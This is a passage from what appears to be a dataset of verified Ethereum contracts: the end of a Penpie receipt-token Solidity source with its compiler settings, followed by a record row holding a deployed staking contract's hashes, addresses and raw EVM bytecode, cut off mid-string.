}\n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so reward should be updated on master penpie before transfer\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).beforeReceiptTokenTransfer(from, to, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so balance should be updated on master penpie before transfer\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).afterReceiptTokenTransfer(from, to, amount);\n }\n\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 100
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {
"contracts/libraries/ERC20FactoryLib.sol": {
"ERC20FactoryLib": "0xae8e4bc88f792297a808cb5f32d4950fbbd8aeba"
}
}
}
}} |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | 15f9604abe96e0f4d2a365ff5ad6e7e11eedf79a9710e93c7ba9751ba08d7e90 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 4949993c2556507c92cf73386524c4fcaa2aa904 | 60806040523480156200001157600080fd5b506200001c62000022565b620000e4565b600054610100900460ff16156200008f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015620000e2576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6155b480620000f46000396000f3fe6080604052600436106103475760003560e01c80638456cb59116101b2578063b67b6df3116100ed578063e437ad0311610090578063e437ad0314610b09578063e6ec638b14610b29578063e7b9b93d14610b49578063efbd906014610b5f578063f23f569c14610b75578063f2fde38b14610b95578063f9051b7214610bb5578063fa8da92114610bd557600080fd5b8063b67b6df314610a13578063b702c60c14610a33578063be18a63e14610a53578063c415b95c14610a73578063ce7319ae14610a93578063d7b777a014610ab3578063de3fcde914610ad3578063e2a578cd14610ae957600080fd5b8063a8f50a4411610155578063a8f50a4414610935578063ab9c799714610948578063ad5c464814610968578063ad8fab3214610988578063ae12213b146109a8578063b0e21e8a146109c8578063b3944d52146109de578063b4606bab146109f357600080fd5b80638456cb59146107bc5780638c466507146107d15780638cbfff00146107f15780638da5cb5b14610811578063910a38241461082f578063960a8a611461084f578063a4063dbc1461086f578063a83b67d11461091557600080fd5b8063415bbe8a11610282578063698766ee11610225578063698766ee1461068f578063715018a6146106af578063719e5ff1146106c457806378f18bc8146106e457806379af55e4146107045780637cf738d2146107245780637eaa176c1461074457806382dabb211461079c57600080fd5b8063415bbe8a146105a157806342c1e587146105b757806342f86dd3146105d75780634a9d7127146105f75780635c975abb14610617578063612be6a21461063a57806362190fde1461065a578063635202741461067a57600080fd5b806331f61254116102ea57806331f61254146104c0578063323b309a146104e057806332e525f5146105005780633c41d5ab146105205780633d38b3a7146105405780633f3e2b11146105555780633f4ba83a146105755780633fd8b02f1461058a57600080fd5b80630edd75d2146103b75780630fe79ee4146103dd578063167948e01461040a5780631a2d5e6e146104205780631fed695514610440578063206aeab31461046057806324e7a688146104805780633043fed0146104a057600080fd5b366103b25760ca60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561039c57600080fd5b505af11580156103b0573d6000803e3d6000fd5b005b600080fd5b6103ca6103c5366004614823565b610bf5565b6040519081526020015b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004614864565b610d2b565b6040516103d4919061487d565b34801561041657600080fd5b506103ca60da5481565b34801561042c57600080fd5b506103b061043b3660046148a6565b610d55565b34801561044c57600080fd5b506103b061045b3660046149dd565b610ea1565b34801561046c57600080fd5b5060d4546103fd906001600160a01b031681565b34801561048c57600080fd5b506103b061049b366004614a5c565b61120b565b3480156104ac57600080fd5b506103b06104bb366004614864565b611235565b3480156104cc57600080fd5b506103b06104db366004614a79565b611265565b3480156104ec57600080fd5b506103b06104fb366004614aba565b6113d9565b34801561050c57600080fd5b506103b061051b366004614b0b565b611573565b34801561052c57600080fd5b5060ce546103fd906001600160a01b031681565b34801561054c57600080fd5b506103ca6116ce565b34801561056157600080fd5b506103b0610570366004614a79565b61174e565b34801561058157600080fd5b506103b06117ff565b34801561059657600080fd5b506103ca6101105481565b3480156105ad57600080fd5b506103ca60d95481565b3480156105c357600080fd5b5060cf546103fd906001600160a01b031681565b3480156105e357600080fd5b506103b06105f2366004614b44565b61183d565b34801561060357600080fd5b5060cd546103fd906001600160a01b031681565b34801561062357600080fd5b5060975460ff1660405190151581526020016103d4565b34801561064657600080fd5b5060cc546103fd906001600160a01b031681565b34801561066657600080fd5b506103b0610675366004614a5c565b611925565b34801561068657600080fd5b506103ca6119b2565b34801561069b57600080fd5b506103b06106aa366004614b9a565b611a29565b3480156106bb57600080fd5b506103b0611ae5565b3480156106d057600080fd5b506103b06106df366004614864565b611af9565b3480156106f057600080fd5b506103b06106ff366004614c28565b611d51565b34801561071057600080fd5b506103b061071f366004614864565b612017565b34801561073057600080fd5b5060c9546103fd906001600160a01b031681565b34801561075057600080fd5b5061076461075f366004614864565b6120af565b604080519586526001600160a01b0390941660208601529115159284019290925290151560608301521515608082015260a0016103d4565b3480156107a857600080fd5b5060d1546103fd906001600160a01b031681565b3480156107c857600080fd5b506103b0612107565b3480156107dd57600080fd5b5060e0546103fd906001600160a01b031681565b3480156107fd57600080fd5b506103b061080c366004614a5c565b61213e565b34801561081d57600080fd5b506033546001600160a01b03166103fd565b34801561083b57600080fd5b506103b061084a366004614a5c565b612168565b34801561085b57600080fd5b506103b061086a366004614ce0565b612192565b34801561087b57600080fd5b506108d361088a366004614a5c565b60d5602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b03948516959385169492831693919092169160ff1686565b604080516001600160a01b03978816815295871660208701529386169385019390935293166060830152608082019290925290151560a082015260c0016103d4565b34801561092157600080fd5b506103b0610930366004614a5c565b612292565b6103ca610943366004614d42565b6122ec565b34801561095457600080fd5b506103b0610963366004614d8d565b612448565b34801561097457600080fd5b5060ca546103fd906001600160a01b031681565b34801561099457600080fd5b5060cb546103fd906001600160a01b031681565b3480156109b457600080fd5b506103b06109c3366004614864565b6125d7565b3480156109d457600080fd5b506103ca60db5481565b3480156109ea57600080fd5b5060d6546103ca565b3480156109ff57600080fd5b5060d2546103fd906001600160a01b031681565b348015610a1f57600080fd5b506103b0610a2e366004614a5c565b61261e565b348015610a3f57600080fd5b506103b0610a4e366004614a5c565b612678565b348015610a5f57600080fd5b5060d3546103fd906001600160a01b031681565b348015610a7f57600080fd5b5060dc546103fd906001600160a01b031681565b348015610a9f57600080fd5b506103b0610aae366004614de0565b6126a2565b348015610abf57600080fd5b5060df546103fd906001600160a01b031681565b348015610adf57600080fd5b506103ca60d75481565b348015610af557600080fd5b5060de546103fd906001600160a01b031681565b348015610b1557600080fd5b5060dd546103fd906001600160a01b031681565b348015610b3557600080fd5b506103b0610b44366004614b0b565b6126ea565b348015610b5557600080fd5b506103ca60e15481565b348015610b6b57600080fd5b506103ca60d05481565b348015610b8157600080fd5b506103b0610b903660046148a6565b61279f565b348015610ba157600080fd5b506103b0610bb0366004614a5c565b612871565b348015610bc157600080fd5b506103b0610bd0366004614864565b6128ea565b348015610be157600080fd5b506103b0610bf0366004614823565b61291a565b6000610bff612b55565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c3090309060040161487d565b602060405180830381865afa158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190614e2b565b60d15460c954919250610c91916001600160a01b03908116911683612baf565b6000610c9b612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb8903490610cd490869086908b908b90600401614e44565b60206040518083038185885af1158015610cf2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d179190614e97565b6001600160801b0316925050505b92915050565b60d68181548110610d3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1615808015610d755750600054600160ff909116105b80610d8f5750303b158015610d8f575060005460ff166001145b610db45760405162461bcd60e51b8152600401610dab90614ec0565b60405180910390fd5b6000805460ff191660011790558015610dd7576000805461ff0019166101001790555b610ddf612cfd565b610de7612d2c565b610def612d5b565b60c980546001600160a01b03199081166001600160a01b038a81169190911790925560ca8054821689841617905560ce8054821685841617905560d18054821688841617905560d28054821687841617905560d480549091169185169190911790558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498906020015b60405180910390a15b50505050505050565b610ea9612b55565b6001600160a01b038416600090815260d5602052604090206005015460ff1615610ee6576040516333b1990560e11b815260040160405180910390fd5b60ce54604051630639860b60e51b815260009173ae8e4bc88f792297a808cb5f32d4950fbbd8aeba9163c730c16091610f319189916001600160a01b03169088908890600401614f5e565b602060405180830381865af4158015610f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f729190614f9c565b60ce5460c954604051631d9f877360e11b81529293506000926001600160a01b0392831692633b3f0ee692610faf92879290911690600401614fb9565b6020604051808303816000875af1158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190614f9c565b60cd546040516353d6103d60e01b81529192506001600160a01b0316906353d6103d906110289089908590600190600401614fd3565b600060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505060ce5460405163266f24b760e01b8152600481018990526001600160a01b038a8116602483015286811660448301528581166064830152909116925063266f24b79150608401600060405180830381600087803b1580156110b857600080fd5b505af11580156110cc573d6000803e3d6000fd5b50506040805160c0810182526001600160a01b038a8116808352868216602080850182815260cd5485168688019081528b861660608089018281524260808b01908152600160a08c0181815260008b815260d58a528e81209d518e546001600160a01b0319908116918f16919091178f5598518e840180548b16918f16919091179055965160028e0180548a16918e16919091179055925160038d018054891691909c1617909a555160048b0155516005909901805460ff19169915159990991790985560d6805497880181559091527fe767803f8ecf1dee6bb0345811f7312cda556058b19db6389ad9ae3568643ddd9095018054909116841790558551928352820152928301527f4c61bab17e59e06eb29c0659ba5f68dc5bc003d57587a7280d98d532d2bf312a935001905060405180910390a1505050505050565b611213612b55565b60cc80546001600160a01b0319166001600160a01b0392909216919091179055565b61123d612b55565b61384081111561126057604051636f1d586b60e01b815260040160405180910390fd5b60d055565b6002606554036112875760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611294612d8a565b6001600160a01b03838116600090815260d560205260409020600281015485921633146112d457604051630c41ae1360e41b815260040160405180910390fd5b6001600160a01b03808616600090815260d560205260408120805490926112fd92911690612dd0565b6003810154604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90611331908890889060040161502e565b600060405180830381600087803b15801561134b57600080fd5b505af115801561135f573d6000803e3d6000fd5b5050825461137a92506001600160a01b0316905086866132ff565b600381015460408051868152602081018790526001600160a01b039283169289811692908916917fbae0543fc4bf2babacb67049151541b087a2a4da5d699d396cb271009390e2d2910160405180910390a45050600160655550505050565b6002606554036113fb5760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611408612d8a565b6001600160a01b03848116600090815260d5602052604090206002810154869216331461144857604051630c41ae1360e41b815260040160405180910390fd5b600581015460ff1661146d57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03808716600090815260d5602052604081208054909261149692911690612dd0565b80546114ad906001600160a01b031686308761331e565b60038101546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906114e1908990889060040161502e565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50505050600381015460408051868152602081018790526001600160a01b03928316928a811692908a16917fc9bc689e1fe6f1a599d618c1d5b7a496dfd42ddd4742c79b9e31265b5bb7322b910160405180910390a4505060016065555050505050565b61157b612b55565b6001600160a01b038216600090815260d560205260409020600581015483919060ff166115bb57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03831615806115d857506001600160a01b038416155b156115f65760405163e6c4247b60e01b815260040160405180910390fd5b6001600160a01b03848116600090815260d56020526040908190206002810180546001600160a01b0319168785169081179091556001820154600583015493516353d6103d60e01b8152929491936353d6103d9361165e938b93169160ff1690600401614fd3565b600060405180830381600087803b15801561167857600080fd5b505af115801561168c573d6000803e3d6000fd5b505050507fce3a680d01747abb9461a3d05f1da77c9cfb9a5b7a6cc1828c733dc52b154797846040516116bf919061487d565b60405180910390a15050505050565b60d1546040516370a0823160e01b81526000916001600160a01b0316906370a08231906116ff90309060040161487d565b602060405180830381865afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190614e97565b6001600160801b0316905090565b611756612d8a565b6001600160a01b038316600090815260d560205260409020600581015484919060ff1661179657604051636a325bd960e11b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905085816000815181106117cc576117cc615047565b60200260200101906001600160a01b031690816001600160a01b0316815250506117f781868661335c565b505050505050565b6002606554036118215760405162461bcd60e51b8152600401610dab90614ff7565b600260655561182e612b55565b611836613a6b565b6001606555565b611845612b55565b6127106118528386615073565b1115611871576040516358d620b360e01b815260040160405180910390fd5b61271061187e8385615073565b111561189d576040516358d620b360e01b815260040160405180910390fd5b60d380546001600160a01b038781166001600160a01b0319928316811790935560da87905560e186905560db85905560dc8054918516919092168117909155604080519283526020830187905282018590526060820184905260808201527f21df36fcb21c91ab978e547b0b07a783b8640e4af05f7a83a11b88ce38253da39060a0016116bf565b61192d612b55565b6001600160a01b0381166119545760405163e6c4247b60e01b815260040160405180910390fd5b60df80546001600160a01b038381166001600160a01b0319831681179093556040519116917f93d91a44a19fab5f6ba1bd574636efa90c520e4cf06a6924b023f47e423c74f3916119a6918491614fb9565b60405180910390a15050565b60d254604051635305f82960e01b81526000916001600160a01b031690635305f829906119e390309060040161487d565b602060405180830381865afa158015611a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a249190614e2b565b905090565b60cf546001600160a01b03163314611a5457604051630316025160e11b815260040160405180910390fd5b828114611a77576040516001621398b960e31b0319815260040160405180910390fd5b60d3546040516334c3b37760e11b81526001600160a01b039091169063698766ee90611aad9087908790879087906004016150cf565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050505050505050565b611aed612b55565b611af76000613ab7565b565b611b01612b55565b600060d88281548110611b1657611b16615047565b60009182526020918290206040805160a081018252600290930290910180548352600101546001600160a01b0381169383019390935260ff600160a01b84048116151591830191909152600160a81b8304811615156060830152600160b01b909204909116151560808201529050815b60d854611b959060019061513b565b811015611c995760d8611ba9826001615073565b81548110611bb957611bb9615047565b906000526020600020906002020160d88281548110611bda57611bda615047565b600091825260209091208254600290920201908155600191820180549290910180546001600160a01b031981166001600160a01b039094169384178255825460ff600160a01b91829004811615159091026001600160a81b0319909216909417178082558254600160a81b90819004851615150260ff60a81b198216811783559254600160b01b90819004909416151590930260ff60b01b1990921661ffff60a81b199093169290921717905580611c918161514e565b915050611b86565b5060d8805480611cab57611cab615167565b60008281526020812060026000199093019283020181815560010180546001600160b81b03191690559155815160d7805491929091611ceb90849061513b565b9091555050805160208083015160408085015160608087015183519687526001600160a01b03909416948601949094521515908401521515908201527ff8d0e93ab5bb2949217d7909d7a0a1c922cdebb049a6fe248eb99bbc63bcf0c0906080016119a6565b611d59612b55565b6001600160a01b038216600081815260d56020526040808220815163c4f59f9b60e01b8152915190939163c4f59f9b91600480830192869291908290030181865afa158015611dac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611dd4919081019061517d565b90508251815114611e0d5760405162461bcd60e51b815260206004820152600360248201526217171760e91b6044820152606401610dab565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611e3e90309060040161487d565b602060405180830381865afa158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f9190614e2b565b905060005b8251811015611f8b5760006001600160a01b0316838281518110611eaa57611eaa615047565b60200260200101516001600160a01b031603611f045760ca5483516001600160a01b0390911690849083908110611ee357611ee3615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000858281518110611f1857611f18615047565b60200260200101519050611f7887858481518110611f3857611f38615047565b60200260200101518760010160009054906101000a90046001600160a01b0316898681518110611f6a57611f6a615047565b602002602001015185613b09565b5080611f838161514e565b915050611e84565b5060c9546040516370a0823160e01b815260009183916001600160a01b03909116906370a0823190611fc190309060040161487d565b602060405180830381865afa158015611fde573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120029190614e2b565b61200c919061513b565b90506117f781613f90565b600061202b6120268342615073565b6141ad565b60d1546040516364090f6160e11b8152600060048201526001600160801b03831660248201529192506001600160a01b03169063c8121ec2906044016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa9190614e97565b505050565b60d881815481106120bf57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b0381169060ff600160a01b8204811691600160a81b8104821691600160b01b9091041685565b6002606554036121295760405162461bcd60e51b8152600401610dab90614ff7565b6002606555612136612b55565b6118366141c7565b612146612b55565b60e080546001600160a01b0319166001600160a01b0392909216919091179055565b612170612b55565b60cd80546001600160a01b0319166001600160a01b0392909216919091179055565b61219a612b55565b61271085106121bc576040516358d620b360e01b815260040160405180910390fd5b600060d887815481106121d1576121d1615047565b600091825260209091206002909102016001810180546001600160a01b0388166001600160a81b031990911617600160a01b871515021761ffff60a81b1916600160a81b8615150260ff60b01b191617600160b01b85151502179055805460d7549192508791612241919061513b565b61224b9190615073565b60d75585815560018101546040517f699b82e4ddf9d3de54305631548f438bd57da8b6d846366457d315c30b014ee791610e8f916001600160a01b0390911690899061502e565b61229a612b55565b60cb80546001600160a01b038381166001600160a01b0319831681179093556040519116917f276b041a78f78908446ffd3d9472af67a63628407e45b0401ebfecf5314e47a1916119a6918491614fb9565b60006122f6612d8a565b60006123006116ce565b905084600003612323576040516367a5a71760e11b815260040160405180910390fd5b60c95461233b906001600160a01b031633308861331e565b60d15460c954612358916001600160a01b03918216911687612baf565b6000612362612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb890349061239b908a9086908b908b90600401614e44565b60206040518083038185885af11580156123b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123de9190614e97565b506000826123ea6116ce565b6123f4919061513b565b61011054604080518a8152602081019290925281018290529091507f7bf6450c3539f2501f46986ad366594cc5c2e900e8d3a65370ae749d7b7527da9060600160405180910390a1925050505b9392505050565b612450612b55565b6127108410612472576040516358d620b360e01b815260040160405180910390fd5b6040805160a0810182528581526001600160a01b03808616602083019081528515159383019384528415156060840190815260016080850181815260d8805492830181556000908152955160029092027f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109681019290925592517f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109790910180549651925193511515600160b01b0260ff60b01b19941515600160a81b029490941661ffff60a81b19931515600160a01b026001600160a81b031990981692909516919091179590951716919091171790915560d78054869290612575908490615073565b9091555050604080516001600160a01b0385168152602081018690528315159181019190915281151560608201527f95a34a443b17d09f6ff25c5a6d7423b1f076b1758d5cfbb826221972647e3ed8906080015b60405180910390a150505050565b6125df612b55565b61011080549082905560408051828152602081018490527f90bec2dbd8e4a597dd4ab85251c576d4e1f4a5bb7de5773af2e8ade016b4759291016119a6565b612626612b55565b60cf80546001600160a01b038381166001600160a01b0319831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c